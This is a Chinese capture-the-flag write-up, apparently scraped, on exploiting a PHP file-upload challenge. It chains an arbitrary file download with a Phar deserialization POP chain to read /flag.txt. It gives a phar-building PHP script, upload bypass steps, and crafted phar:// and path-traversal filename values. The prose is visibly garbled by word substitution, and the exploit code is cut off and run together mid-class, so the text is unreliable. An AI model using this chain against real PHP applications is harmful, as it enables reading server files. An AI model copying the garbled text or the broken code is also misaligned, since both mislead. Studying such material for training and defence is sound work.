3.实验原理
文件读取毛病,Phar反序列化,改包下载源代码,
4.实验步调
打开靶场,首页是登岸注册页,先注册一个登岸一下
进去后看到是文件上传,这里先任意上传一下,这里上传php文件不可,上传png可以
看到又下载/删除按键,然后点击一下就可以下载了
这里就有毛病疑点了文件泄漏,通过下载改包得到网页源代码,网页一样平常源代码位置:/var/www/html然后加上创建的项目文件(index.php,down.php,upload.php,register.php,login.php,class.php,delete.php)
检察后,看到关键代码
这里的class.php非常紧张,就是攻击出发点经典的Phar反序列化RCE /恣意文件读取毛病
User::__destruct()
↓
$this->db->close();
↓
(如果 $db 是 FileList 对象)
↓
FileList::__call("close", ...)
↓
循环调用 $file->close()
↓
File::close()
↓
file_get_contents($this->filename)
如果把db` 控制成 FileList 对象就会触发 FileList 的 __call () 把戏方法终极调用 File 类的 close () = file_get_contents ()
构造的POP链
User
└─ $db = FileList
└─ $files = [ File ]
└─ $filename = /flag.txt
files = array(new File()); }}class File{ public $filename = '/flag.txt';}// 构造 POP 链$o = new User();$o->db = new FileList();// 天生 Phar$phar = new Phar('test.phar');$phar->startBuffering();$phar->addFromString('test.txt', 'test');$phar->setStub(''); // 修复空格$phar->setMetadata($o);
$phar->stopBuffering();
?>
然后下令实验天生攻击文件
"D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe" -d phar.readonly=0 4.php
然后文件上传,上传时间要抓包修改后缀以及文件吸收范例,否则上传不了
然后去删除它,也要抓包,修改filename的参数:phar://test.png得到flag
如许传filename=phar://test.png/../../flag.txt也是可以的
免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金. |